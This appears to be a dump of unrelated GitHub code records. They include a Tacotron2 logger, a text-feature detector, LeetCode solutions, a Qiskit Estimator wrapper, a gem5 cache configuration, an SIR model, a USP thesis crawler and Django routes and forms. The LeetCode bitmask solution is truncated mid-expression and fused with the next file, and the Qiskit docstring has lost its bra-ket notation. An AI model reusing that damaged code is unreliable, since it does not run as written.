mel_outputs, gate_outputs, alignments = y_pred\n mel_targets, gate_targets = y\n\n # plot distribution of parameters\n for tag, value in model.named_parameters():\n tag = tag.replace('.', '/')\n self.add_histogram(tag, value.data.cpu().numpy(), iteration)\n\n # plot alignment, mel target and predicted, gate target and predicted\n idx = random.randint(0, alignments.size(0) - 1)\n self.add_image(\n \"alignment\",\n plot_alignment_to_numpy(alignments[idx].data.cpu().numpy().T),\n iteration, dataformats='HWC')\n self.add_image(\n \"mel_target\",\n plot_spectrogram_to_numpy(mel_targets[idx].data.cpu().numpy()),\n iteration, dataformats='HWC')\n self.add_image(\n \"mel_predicted\",\n plot_spectrogram_to_numpy(mel_outputs[idx].data.cpu().numpy()),\n iteration, dataformats='HWC')\n self.add_image(\n \"gate\",\n plot_gate_outputs_to_numpy(\n gate_targets[idx].data.cpu().numpy(),\n torch.sigmoid(gate_outputs[idx]).data.cpu().numpy()),\n iteration, dataformats='HWC')\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/dev/audio/Tacotron2_ID3241_for_PyTorch/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"29368488341","text":"import json\nimport os\nimport re\nfrom .respeaker_hi_liwc import populate_dictionary_index_hi, populate_dictionary_index_liwc, process_text\n\ndef initialize():\n print('Unpacking features model...')\n global hgi_emots, hgi_dictionary, liwc_emots, liwc_dictionary\n hgi_emots, hgi_dictionary = populate_dictionary_index_hi()\n hgi_emots = ['Positiv','Know', 'Causal','SureLw']\n liwc_emots, liwc_dictionary = populate_dictionary_index_liwc()\n liwc_emots = ['CogMech', 'Assent', 'Conj', 'Insight', 'Certain','I']\n print('Model unpacked.')\n\ndef detect_features(transcript):\n hgi_count, hgi_emot_dict = process_text(transcript, hgi_dictionary, hgi_emots)\n liwc_count, liwc_emot_dict = process_text(transcript, liwc_dictionary, liwc_emots)\n emotion_val = 0.0\n analytic_val = 0.0\n collab_quality_val = 0.0\n certainty_val = 0.0\n authenticity_val = 0.0\n if liwc_count > 0:\n emotion_val = 100.0 * max([hgi_emot_dict['Positiv']])/float(liwc_count)\n analytic_val = 100.0 * max([hgi_emot_dict['Causal'], liwc_emot_dict['CogMech'], liwc_emot_dict['Insight']])/float(liwc_count)\n collab_quality_val = 100.0 * max([liwc_emot_dict['Conj'], liwc_emot_dict['Assent']])/float(liwc_count)\n certainty_val = 100.0 * max([hgi_emot_dict['SureLw'],liwc_emot_dict['Certain']])/float(liwc_count)\n authenticity_val = 100.0 * liwc_emot_dict['I']/float(liwc_count)\n\n return {\n 'analytic_thinking_value': analytic_val,\n 'authenticity_value': authenticity_val,\n 'certainty_value':certainty_val,\n 'clout_value': collab_quality_val,\n 'emotional_tone_value': emotion_val\n }\n\n# The question detector may eventually need it's own folder/module.\n# Due to its limited implementation, it can stay here for now.\ndef detect_questions(transcript):\n # Find all instances of text ending with a '?' and starting with punctuation (and spaces).\n questions = re.findall(r'(?:[.!]\\s+|\\A).*?[?]', transcript)\n\n # Remove extra spaces and beginning punctuation.\n result = []\n for question in questions:\n result.append(re.sub(r'\\A[.,!]?\\s+', '', question))\n return result\n\nif __name__ == '__main__':\n initialize()\n result = detect_features('It is a strong belief of mine that the Earth is spherical in nature.')\n print(result)\n\n result = detect_questions('What is your favorite color?')\n print(result)\n\n result = detect_questions(\"My favorite color is orange.\")\n print(result)\n\n result = detect_questions(\" What is your favorite color? My favorite color is orange. Another question?????? Random words... Do you work for the C.I.A?\")\n print(result)\n","repo_name":"tiilt-lab/chemistry-dashboard","sub_path":"audio_processing/features_detector/features_detector.py","file_name":"features_detector.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"40987453761","text":"# Timeout for python\nclass Solution(object):\n def minimumTimeRequired(self, jobs, k):\n \"\"\"\n :type jobs: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n MX = 10**20\n dp= [[0]*4096 for _ in range(13)]\n n = len(jobs)\n costState = [0]*4096\n for i in range(4096):\n ret =0\n for j in range(n):\n if i & (1<0:\n dp[i][state] =min(dp[i][state],max(dp[i-1][state-subset],costState[subset]))\n subset = (subset)-1 &state\n #print(k,n,dp[2][:40],costState[:40])\n return dp[k][(1< int:\n v1 = version1.split('.')\n v2 = version2.split('.')\n \n for x, y in zip(v1, v2):\n if int(x) == int(y):\n continue\n else:\n return -1 if int(x) < int(y) else 1\n \n if len(v1) < len(v2):\n return 0 if all([int(x) == 0 for x in v2[len(v1):]]) else -1\n elif len(v1) > len(v2):\n return 0 if all([int(x) == 0 for x in v1[len(v2):]]) else 1\n \n return 0","repo_name":"EliFrun/my-leetcode-submissions","sub_path":"problems/compare_version_numbers/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25613014458","text":"from typing import Iterable, Optional, Dict, Sequence, Any, Union\n\nfrom qiskit.circuit import QuantumCircuit, Parameter\nfrom qiskit.quantum_info import SparsePauliOp\n\n# TODO import BaseEstimator and EstimatorResult from terra once released\nfrom .qiskit.primitives import BaseEstimator, EstimatorResult\nfrom .exceptions import IBMInputValueError\nfrom .ibm_backend import IBMBackend\nfrom .qiskit_runtime_service import QiskitRuntimeService\nfrom .runtime_session import RuntimeSession\nfrom .utils.converters import hms_to_seconds\n\n\nclass Estimator(BaseEstimator):\n \"\"\"Class for interacting with Qiskit Runtime Estimator primitive service.\n\n Qiskit Runtime Estimator primitive service estimates expectation values of quantum circuits and\n observables.\n\n Estimator can be initialized with the following parameters.\n\n * circuits: a (parameterized) :class:`~qiskit.circuit.QuantumCircuit` or\n a list of (parameterized) :class:`~qiskit.circuit.QuantumCircuit`.\n\n * observables: a list of :class:`~qiskit.quantum_info.SparsePauliOp`.\n\n * parameters: a list of parameters of the quantum circuits.\n (:class:`~qiskit.circuit.parametertable.ParameterView` or\n a list of :class:`~qiskit.circuit.Parameter`) specifying the order\n in which parameter values will be bound.\n\n * skip_transpilation: Transpilation is skipped if set to True.\n False by default.\n\n * service: Optional instance of :class:`qiskit_ibm_runtime.QiskitRuntimeService` class,\n defaults to `QiskitRuntimeService()` which tries to initialize your default saved account.\n\n * options: Runtime options dictionary that control the execution environment.\n\n * backend: Optional instance of :class:`qiskit_ibm_runtime.IBMBackend` class or\n string name of backend, if not specified a backend will be selected\n automatically (IBM Cloud only).\n * image: the runtime image used to execute the program, specified in\n the form of ``image_name:tag``. Not all accounts are\n authorized to select a different image.\n * log_level: logging level to set in the execution environment. The valid\n log levels are: ``DEBUG``, ``INFO``, ``WARNING``, ``ERROR``, and ``CRITICAL``.\n The default level is ``WARNING``.\n\n The returned instance can be called repeatedly with the following parameters to\n estimate expectation values.\n\n * circuits: a (parameterized) :class:`~qiskit.circuit.QuantumCircuit` or\n a list of (parameterized) :class:`~qiskit.circuit.QuantumCircuit` or\n a list of circuit indices.\n\n * observables: a list of :class:`~qiskit.quantum_info.SparsePauliOp` or\n a list of observable indices.\n\n * parameter_values: An optional list of concrete parameters to be bound.\n\n * circuit_indices: (DEPRECATED) A list of circuit indices.\n\n * observable_indices: (DEPRECATED) A list of observable indices.\n\n All the above lists should be of the same length.\n\n Example::\n\n from qiskit.circuit.library import RealAmplitudes\n from qiskit.quantum_info import SparsePauliOp\n\n from qiskit_ibm_runtime import QiskitRuntimeService, Estimator\n\n service = QiskitRuntimeService(channel=\"ibm_cloud\")\n options = { \"backend\": \"ibmq_qasm_simulator\" }\n\n psi1 = RealAmplitudes(num_qubits=2, reps=2)\n psi2 = RealAmplitudes(num_qubits=2, reps=3)\n\n H1 = SparsePauliOp.from_list([(\"II\", 1), (\"IZ\", 2), (\"XI\", 3)])\n H2 = SparsePauliOp.from_list([(\"IZ\", 1)])\n H3 = SparsePauliOp.from_list([(\"ZI\", 1), (\"ZZ\", 1)])\n\n with Estimator(\n circuits=[psi1, psi2],\n observables=[H1, H2, H3],\n service=service,\n options=options\n ) as estimator:\n theta1 = [0, 1, 1, 2, 3, 5]\n theta2 = [0, 1, 1, 2, 3, 5, 8, 13]\n theta3 = [1, 2, 3, 4, 5, 6]\n\n # calculate [ ]\n # pass circuits and observables as indices\n psi1_H1_result = estimator([0], [0], [theta1])\n print(psi1_H1_result)\n\n # calculate [ , ]\n # alternatively you can also pass circuits and observables as objects\n psi1_H23_result = estimator([psi1, psi1], [H2, H3], [theta1]*2)\n print(psi1_H23_result)\n\n # calculate [ ]\n psi2_H2_result = estimator([1], [1], [theta2])\n print(psi2_H2_result)\n\n # calculate [ , ]\n psi1_H1_result2 = estimator([0, 0], [0, 0], [theta1, theta3])\n print(psi1_H1_result2)\n\n # calculate [ ,\n # ,\n # ]\n psi12_H23_result = estimator([0, 1, 0], [0, 1, 2], [theta1, theta2, theta3])\n print(psi12_H23_result)\n \"\"\"\n\n def __init__(\n self,\n circuits: Union[QuantumCircuit, Iterable[QuantumCircuit]],\n observables: Iterable[SparsePauliOp],\n parameters: Optional[Iterable[Iterable[Parameter]]] = None,\n service: Optional[QiskitRuntimeService] = None,\n options: Optional[Dict] = None,\n skip_transpilation: Optional[bool] = False,\n transpilation_settings: Optional[Dict] = None,\n resilience_settings: Optional[Dict] = None,\n max_time: Optional[Union[int, str]] = None,\n ):\n \"\"\"Initializes the Estimator primitive.\n\n Args:\n circuits: a (parameterized) :class:`~qiskit.circuit.QuantumCircuit` or\n a list of (parameterized) :class:`~qiskit.circuit.QuantumCircuit`.\n\n observables: a list of :class:`~qiskit.quantum_info.SparsePauliOp`\n\n parameters: a list of parameters of the quantum circuits.\n (:class:`~qiskit.circuit.parametertable.ParameterView` or\n a list of :class:`~qiskit.circuit.Parameter`) specifying the order\n in which parameter values will be bound.\n\n service: Optional instance of :class:`qiskit_ibm_runtime.QiskitRuntimeService` class,\n defaults to `QiskitRuntimeService()` which tries to initialize your default\n saved account.\n\n options: Runtime options dictionary that control the execution environment.\n\n * backend: Optional instance of :class:`qiskit_ibm_runtime.IBMBackend` class or\n string name of backend, if not specified a backend will be selected\n automatically (IBM Cloud only).\n * image: the runtime image used to execute the program, specified in\n the form of ``image_name:tag``. Not all accounts are\n authorized to select a different image.\n * log_level: logging level to set in the execution environment. The valid\n log levels are: ``DEBUG``, ``INFO``, ``WARNING``, ``ERROR``, and ``CRITICAL``.\n The default level is ``WARNING``.\n\n skip_transpilation: Transpilation is skipped if set to True. False by default.\n\n transpilation_settings: (EXPERIMENTAL setting, can break between releases without warning)\n Qiskit transpiler settings. The transpilation process converts\n operations in the circuit to those supported by the backend, swaps qubits with the\n circuit to overcome limited qubit connectivity and some optimizations to reduce the\n circuit's gate count where it can.\n\n * skip_transpilation: Transpilation is skipped if set to True.\n False by default.\n\n * optimization_settings:\n\n * level: How much optimization to perform on the circuits.\n Higher levels generate more optimized circuits,\n at the expense of longer transpilation times.\n * 0: no optimization\n * 1: light optimization\n * 2: heavy optimization\n * 3: even heavier optimization\n If ``None``, level 1 will be chosen as default.\n\n resilience_settings: (EXPERIMENTAL setting, can break between releases without warning)\n Using these settings allows you to build resilient algorithms by\n leveraging the state of the art error suppression, mitigation and correction techniques.\n\n * level: How much resilience to build against errors.\n Higher levels generate more accurate results,\n at the expense of longer processing times.\n * 0: no resilience\n * 1: light resilience\n If ``None``, level 0 will be chosen as default.\n\n max_time: (EXPERIMENTAL setting, can break between releases without warning)\n Maximum amount of time, a runtime session can be open before being\n forcibly closed. Can be specified as seconds (int) or a string like \"2h 30m 40s\".\n\n Raises:\n IBMInputValueError: If an input value is invalid.\n \"\"\"\n super().__init__(\n circuits=circuits if isinstance(circuits, Iterable) else [circuits],\n observables=observables,\n parameters=parameters,\n )\n self._skip_transpilation = skip_transpilation\n if not service:\n # try to initialize service with default saved account\n service = QiskitRuntimeService()\n self._service = service\n if isinstance(options, dict) and \"backend\" in options:\n backend = options.get(\"backend\")\n if isinstance(backend, IBMBackend):\n del options[\"backend\"]\n options[\"backend_name\"] = backend.name\n elif isinstance(backend, str):\n del options[\"backend\"]\n options[\"backend_name\"] = backend\n else:\n raise IBMInputValueError(\n \"'backend' property in 'options' should be either the string name of the \"\n \"backend or an instance of 'IBMBackend' class\"\n )\n inputs = {\n \"circuits\": circuits,\n \"observables\": observables,\n \"parameters\": parameters,\n \"skip_transpilation\": self._skip_transpilation,\n }\n if transpilation_settings:\n inputs.update({\"transpilation_settings\": transpilation_settings})\n if resilience_settings:\n inputs.update({\"resilience_settings\": resilience_settings})\n self._session = RuntimeSession(\n service=self._service,\n program_id=\"estimator\",\n inputs=inputs,\n options=options,\n max_time=self.calculate_max_time(max_time=max_time),\n )\n\n def calculate_max_time(self, max_time: Optional[Union[int, str]] = None) -> int:\n \"\"\"Calculate max_time in seconds from hour minute seconds string. Ex: 2h 30m 40s\"\"\"\n try:\n return hms_to_seconds(max_time) if isinstance(max_time, str) else max_time\n except IBMInputValueError as input_value_error:\n raise IBMInputValueError(\n \"Invalid value given for max_time.\", input_value_error.message\n )\n\n def _call(\n self,\n circuits: Sequence[int],\n observables: Sequence[int],\n parameter_values: Optional[\n Union[Sequence[float], Sequence[Sequence[float]]]\n ] = None,\n **run_options: Any,\n ) -> EstimatorResult:\n \"\"\"Estimates expectation values for given inputs in a runtime session.\n\n Args:\n circuits: A list of circuit indices.\n observables: A list of observable indices.\n parameter_values: An optional list of concrete parameters to be bound.\n **run_options: A collection of kwargs passed to `backend.run()`.\n\n Returns:\n An instance of :class:`qiskit.primitives.EstimatorResult`.\n \"\"\"\n self._session.write(\n circuit_indices=circuits,\n observable_indices=observables,\n parameter_values=parameter_values,\n run_options=run_options,\n )\n raw_result = self._session.read()\n return EstimatorResult(\n values=raw_result[\"values\"],\n metadata=raw_result[\"metadata\"],\n )\n\n def close(self) -> None:\n \"\"\"Close the session and free resources\"\"\"\n self._session.close()\n","repo_name":"heesunlee9/qiskit-ibm-runtime","sub_path":"qiskit_ibm_runtime/estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":12733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"8381573709","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.integrate\n\ndef diff_eqs(IN,t):\n Y = np.zeros(3)\n Y[0] = - beta * IN[0] * IN[1] / Ntot\n Y[1] = beta * IN[0] * IN[1] / Ntot - gamma * IN[1]\n Y[2] = gamma * IN[1]\n return Y\n\nbeta = 0.2\ngamma = 0.01\nfig, ax = plt.subplots(1,1)\nIN = [90, 10]\nNtot = 100.\ntrange = np.arange(0, 100, 0.01)\node_result = scipy.integrate.odeint(diff_eqs, IN, trange)\nax.plot(trange, ode_result[:, 0], 'b-', label='Susceptible')\nax.plot(trange, ode_result[:, 1], 'r-', label='Infected')\nax.plot(trange, 1-(ode_result[:, 0] + ode_result[:, 1]), 'g-', label='Recovered')\nplt.legend()\nplt.show()\n","repo_name":"callegaris/intro-abm","sub_path":"classic_SIR.py","file_name":"classic_SIR.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"11385937925","text":"# This example demonstrates how to extract text from a document.\n\nimport aspose.groupdocsviewer as gv\nimport aspose.groupdocsviewer.options as gvo\nimport os\nfrom os.path import join\nimport test_files\n\ndef run():\n with gv.Viewer(test_files.sample_docx) as viewer:\n view_info_options = gvo.ViewInfoOptions.for_png_view(True)\n view_info = viewer.get_view_info(view_info_options)\n\n for page in view_info.pages:\n print(f\"Page: {page.number}\")\n print(\"Text lines/words/characters:\")\n\n for line in page.lines:\n print(line)\n for word in line.words:\n print(\"\\t\" + word.value)\n for character in word.characters:\n print(\"\\t\\t\" + character.value)\n\n print(\"\\nDocument text extracted successfully.\\n\")\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"groupdocs-viewer/GroupDocs.Viewer-for-Python-via-.NET","sub_path":"Examples/basic_usage/render_document_to_image/get_text_coordinates.py","file_name":"get_text_coordinates.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72571863903","text":"#CA Assignment 1 - Config file\n#Name - Aditya Saini\n#Roll number - 2018125\n#Branch - B.Tech ECE\n\nimport m5\n\n#Importing the BaseCache from m5.objects\nfrom m5.objects import Cache\n\n#Defining the arguments for L2 cache for manually specifying the size and associations\nimport argparse\nparser = argparse.ArgumentParser(description = 'Changing the assoc & size of L2 cache')\nparser.add_argument(\"--l2_size\", type=str, nargs = '?', default = '256kB', help = \"Size of the L2 cache\")\nparser.add_argument(\"--l2_assoc\", type=int, nargs='?', default = 4, help = \"Number of Associations of the L2 cache\")\nargs, unknown = parser.parse_known_args()\nprint(args)\n\n#Defining the L1 Cache\nclass L1Cache(Cache):\n assoc = 2\n tag_latency = 2\n data_latency = 2\n response_latency = 2\n mshrs = 4\n tgts_per_mshr = 20\n\n def connectCPU(self, cpu):\n raise NotImplementedError\n\n def connectBus(self, bus):\n self.mem_side = bus.slave\n\n#Defining the L1 instruction cache\nclass L1ICache(L1Cache):\n size = '16kB'\n\n def connectCPU(self, cpu):\n self.cpu_side = cpu.icache_port\n\n#Defining the L1 data cache\nclass L1DCache(L1Cache):\n size = '16kB'\n\n def connectCPU(self, cpu):\n self.cpu_side = cpu.dcache_port\n\n#Defining the L2 cache\nclass L2Cache(Cache):\n size = '256kB'\n assoc = 4\n def __init__(self, size, assoc):\n super(Cache,self).__init__()\n self.size = size\n self.assoc = assoc\n tag_latency = 10\n data_latency = 10\n response_latency = 10\n mshrs = 20\n tgts_per_mshr = 12\n def connectCPUSideBus(self, bus):\n self.cpu_side = bus.master\n def connectMemSideBus(self, bus):\n self.mem_side = bus.slave\n\n\n#Importing all the SimObjects\nfrom m5.objects import *\n\n#System object will be our parent SimObject\nsystem = System()\n\n#Setting up the clock\nsystem.clk_domain = SrcClockDomain()\nsystem.clk_domain.clock = '1GHz'\nsystem.clk_domain.voltage_domain = VoltageDomain()\nsystem.mem_mode = 'timing'\nsystem.mem_ranges = [AddrRange('512MB')]\n\n#Adding CPU - TimingSimpleCPU : Executes each instrution in a single clock cycle to execute\nsystem.cpu = TimingSimpleCPU()\n\n#Adding sytem-wide memory bus\nsystem.membus = SystemXBar()\n\n#Instantiating the caches\nsystem.cpu.icache = L1ICache()\nsystem.cpu.dcache = L1DCache()\n\n#Connecting the cpu to cache ports\nsystem.cpu.icache.connectCPU(system.cpu)\nsystem.cpu.dcache.connectCPU(system.cpu)\n\n#Connecting the L1 caches to L2 caches using an L2 bus\nsystem.l2bus = L2XBar()\n\nsystem.cpu.icache.connectBus(system.l2bus)\nsystem.cpu.dcache.connectBus(system.l2bus)\n\n#Instantiating the L2 cache and connecting it to the L2Bus and the memory bus\nsystem.l2cache = L2Cache(args.l2_size, args.l2_assoc)\n\nsystem.l2cache.connectCPUSideBus(system.l2bus)\nsystem.l2cache.connectMemSideBus(system.membus)\n\n#Initializing some imp controllers like Interrupt ports, Peripheral Input/Output Controller (PIO)\nsystem.cpu.createInterruptController()\nsystem.cpu.interrupts[0].pio = system.membus.master\nsystem.cpu.interrupts[0].int_master = system.membus.slave\nsystem.cpu.interrupts[0].int_slave = system.membus.master\n\nsystem.system_port = system.membus.slave\n\n#Creating a memry controller & connecting it to membus\nsystem.mem_ctrl = DDR3_1600_8x8()\nsystem.mem_ctrl.range = system.mem_ranges[0]\nsystem.mem_ctrl.port = system.membus.master\n\n#Starting/Instantiating a process\nprocess = Process()\n\n#Executing Susan in SE mode\nprocess.cmd = ['MiBench/automotive/susan/susan','MiBench/automotive/susan/input_small.pgm','MiBench/automotive/susan/output_small.smoothing.pgm']\nsystem.cpu.workload = process\nsystem.cpu.createThreads()\n\n#Beginning execution\nroot = Root(full_system=False, system=system)\nm5.instantiate()\n\n#Beginning simulation\nprint(\"Beginning simulation for L2 cache size = \", str(system.l2cache.size),\" and L2 cache associations = \",system.l2cache.assoc)\nexit_event = m5.simulate()\nprint('Exiting @ tick {} because {}'\n .format(m5.curTick(), exit_event.getCause()))\n","repo_name":"adityasaini70/Computer-Architecture-gem5-labs","sub_path":"AdityaSaini_2018125_SA1/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72844872224","text":"import os\nos.system(\"cls\")\n\nnumero = int( input(\"Ingresar número de cuatro cifras : \") ) \n\nestadoCivil = ( numero % 10000 - numero % 1000 ) // 1000\n\nif estadoCivil == 1 : estado = \"Soltero\"\nif estadoCivil == 2 : estado = \"Casado\"\nif estadoCivil == 3 : estado = \"Viudo\"\nif estadoCivil == 4 : estado = \"Divorciado\"\n\nedad = ( numero % 1000 - numero % 10 ) // 10\n\nsexo = numero % 10\n\nif sexo == 1 : sexo1 = \"Femenino\" \nif sexo == 2 : sexo1 = \"Masculino\"\n\nprint (f'Estado Civil : {estado}')\nprint (f'Edad : {edad} años')\nprint (f'Sexo : {sexo1}')\nprint ()","repo_name":"CR19HP01/Ejercicios-de-python","sub_path":"condicionales/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18792965850","text":"from copy import deepcopy\n\ndef all_construct(target, words):\n if target == '':\n return [[]]\n \n combs = []\n for word in words:\n if target[:len(word)] == word:\n new_comb = all_construct(target[len(word):], words)\n for comb in new_comb:\n comb.append(word)\n\n combs += new_comb\n\n return combs\n\n\ndef all_construct_memo(target, words, memo={}):\n if target in memo:\n return memo[target]\n if target == '':\n return [[]]\n \n combs = []\n for word in words:\n if target[:len(word)] == word:\n new_comb = deepcopy(all_construct_memo(target[len(word):], words, memo))\n for comb in new_comb:\n comb.append(word)\n combs += new_comb\n\n if target not in memo:\n memo[target] = combs\n return combs\n\n\ndef all_construct_tab(target, words):\n lenght = len(target)\n tab = [[] for i in range(lenght+1)]\n tab[0] = [[]]\n \n for i in range(lenght + 1):\n if tab[i] != []:\n for word in words:\n if target[i:len(word)+i] == word:\n if i + len(word) < lenght + 1:\n prev_combs = deepcopy(tab[i])\n for comb in prev_combs:\n comb.append(word)\n tab[i+len(word)] += prev_combs\n\n return tab[lenght]\n\n\n\ncases = [\n ['', ['a', 'b']],\n ['a', ['a', 'b']],\n ['c', ['a', 'b']],\n ['ab', ['a', 'b', 'ab']],\n ['abcd', ['abc', 'a', 'cd', 'b', 'abcd', 'c', 'd', 'ab', 'bc', 'abcd']],\n ['abcd', ['ab', 'yuy', 'fgfhh', 'bc', 'a', 'hgh']],\n ['abc', ['b', 'ab', 'abc', 'c', 'a', 'bc']],\n ['eeeeeeeeeeeeeeeeeeeeeeeeee', ['e', 'ee', 'eee', 'eeee', 'eeeef']]\n]\n\nfor case in cases:\n print(all_construct(*case))\n print(all_construct_memo(*case))\n print(all_construct_tab(*case))\n print()\n","repo_name":"rybakisa/algorithms-grind","sub_path":"Dynamic Programming/all_construct.py","file_name":"all_construct.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"40262679048","text":"from django.urls import path\nfrom .views import ReferrerCreateView, ReferrerDeleteView, ReferrerListView, ReferrerUpdateView\n\nurlpatterns = [\npath('', ReferrerListView.as_view(), name='referrers'),\npath('referrer/new/', ReferrerCreateView.as_view(), name='referrer_new'),\npath('referrer//edit/', ReferrerUpdateView.as_view(), name='referrer_edit'),\npath('referrer//delete/', ReferrerDeleteView.as_view(), name='referrer_delete'),\n\n]","repo_name":"aha99an/clinic","sub_path":"referrer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74387003103","text":"import requests\nimport json\nimport csv\nimport time\n\nfrom html.parser import HTMLParser\n\ntimeout = 10\n\nclass ThesisHTMLParser(HTMLParser):\n def __init__(self, url, query = None) :\n super().__init__()\n self.fields = {}\n \n self.fields['url'] = url\n self.fields['query'] = query\n self.fields['keywords'] = []\n\n trying = True\n while trying :\n try :\n self.resp = requests.get(url)\n trying = False\n except :\n print(f'Failed to connect... retrying in {timeout}s...')\n time.sleep(timeout)\n timeout+=10\n\n self.feed(self.resp.text)\n \n def handle_starttag(self, tag, attrs):\n if tag == 'meta':\n if attrs[0] == ('name', 'DC.title') and attrs[2] == ('xml:lang', 'pt-br'):\n self.fields['title'] = attrs[1][1]\n if attrs[0] == ('name', 'DCTERMS.issued') and attrs[2] == ('xml:lang', 'pt-br'):\n self.fields['date'] = attrs[1][1]\n \n if attrs[0] == ('name', 'DC.creator') and attrs[2] == ('xml:lang', 'pt-br'):\n self.fields['author'] = attrs[1][1]\n \n if attrs[0] == ('name', 'DC.contributor') and attrs[2] == ('xml:lang', 'pt-br'):\n self.fields['advisor'] = attrs[1][1]\n\n if attrs[0] == ('name', 'DCTERMS.abstract') and attrs[2] == ('xml:lang', 'pt-br'):\n self.fields['abstract'] = attrs[1][1]\n if attrs[0] == ('name', 'DC.subject') and attrs[2] == ('xml:lang', 'pt-br'):\n cur_keys = [s.strip().lower() for s in attrs[1][1].split(';')]\n for k in cur_keys :\n self.fields['keywords'].append(k)\n if attrs[0] == ('name','citation_pdf_url') :\n self.fields['pdf_url'] = attrs[1][1]\n if attrs[0] == ('name', 'citation_doi') :\n self.fields['doi'] = attrs[1][1]\n\n #def handle_endtag(self, tag):\n # print(\"End tag :\", tag)\n\n #def handle_data(self, data):\n # print(\"Data :\", data)\n\n #def handle_comment(self, data):\n # print(\"Comment :\", data)\n\n #def handle_entityref(self, name):\n # c = chr(name2codepoint[name])\n # print(\"Named ent:\", c)\n\n #def handle_charref(self, name):\n # if name.startswith('x'):\n # c = chr(int(name[1:], 16))\n # else:\n # c = chr(int(name))\n # print(\"Num ent :\", c)\n\n #def handle_decl(self, data):\n # print(\"Decl :\", data)\n \n @property\n def match_query(self) :\n return self.fields['query'] in self.fields['keywords']\n\n @property\n def return_fields(self):\n return self.fields.keys()\n \n\n def return_fields_as_str_list(self, list_of_fields = None, clear_newline = True) :\n ret_list = []\n if list_of_fields is None :\n list_of_fields = self.fields.keys()\n for f in list_of_fields :\n s = self.fields[f]\n if f == 'keywords' :\n s = ','.join(self.fields[f])\n if clear_newline :\n s = s.replace('\\n', ' ')\n ret_list.append(s)\n return ret_list\n\n\n def __str__(self) :\n return json.dumps(self.fields, indent = 4, ensure_ascii=False).encode('utf-8').decode()\n\n\n\nclass Crawler :\n def __init__(self) :\n self.entries = []\n\n def query_by_keyword(self, keyword, n = 10) :\n _keyword = keyword.replace(' ', '%20')\n page = 1\n ret_list = []\n \n last_page = 10\n\n while len(ret_list) < n and last_page == 10:\n key_query = f\"https://www.teses.usp.br/index.php?option=com_jumi&fileid=19&Itemid=87&lang=pt-br&g=1&b0={_keyword}&c0=p&o0=AND&pagina={page}\"\n trying = True\n while trying :\n try :\n resp = requests.get(key_query)\n trying = False\n except :\n print(f'Failed to connect... retrying in {timeout}s...')\n time.sleep(timeout)\n timeout+=10\n\n lines = resp.text.split('\\n')\n last_page = 0\n for line in lines :\n if line.find('
    = n :\n break\n print(f\" Added {len(ret_list)}/{n}\")\n page += 1\n return ret_list \n\n def run(self, keyword_list, entries_per_keyword = 20) :\n for key in keyword_list :\n print(f\"Trying {key}\")\n cur_list = self.query_by_keyword(key, n = entries_per_keyword)\n self.entries.extend(cur_list)\n\n def save_as_csv(self, output, field_list, delimiter = ';', quotechar = '\"', clear_newline = True) :\n with open(output, 'a') as csv_file :\n csv_writer = csv.writer(csv_file, delimiter = delimiter, quotechar = quotechar, quoting = csv.QUOTE_MINIMAL)\n for item in self.entries :\n cur_list = item.return_fields_as_str_list(field_list, clear_newline)\n csv_writer.writerow(cur_list)\n\n\n","repo_name":"chinodyt/usp_dl_crawler","sub_path":"usp_dl/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74998425821","text":"class Solution(object):\n def diagonalSum(self, mat):\n \"\"\"\n :type mat: List[List[int]]\n :rtype: int\n \"\"\"\n mid = len(mat)//2\n sum = 0\n \n \n for i in range(len(mat)):\n sum = sum + mat[i][i]\n sum = sum + mat[len(mat)-1-i][i]\n \n if len(mat) % 2 == 1:\n sum = sum - mat[mid][mid]\n return sum","repo_name":"alimalim77/Python-Practice-Track","sub_path":"Leetcode Solutions/matrix_diagonal_sum.py","file_name":"matrix_diagonal_sum.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40739010883","text":"# -*- coding: utf-8 -*-\n\nimport datetime\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom djauth.managers import LDAPManager\nfrom djbeca.core import choices\nfrom djbeca.core.models import GenericChoice\nfrom djbeca.core.models import Proposal\nfrom djbeca.core.models import ProposalBudget\nfrom djbeca.core.models import ProposalDocument\nfrom djbeca.core.models import ProposalImpact\nfrom djbeca.core.utils import get_proposals\nfrom djtools.fields import BINARY_CHOICES\nfrom djtools.utils.workday import get_peep\nfrom djtools.utils.workday import get_peeps\n\n\nSUBCONTRACTS_CHOICES = GenericChoice.objects.filter(\n tags__name__in=['Subcontracts'],\n).filter(active=True).order_by('rank')\n\n\nclass ProposalForm(forms.ModelForm):\n 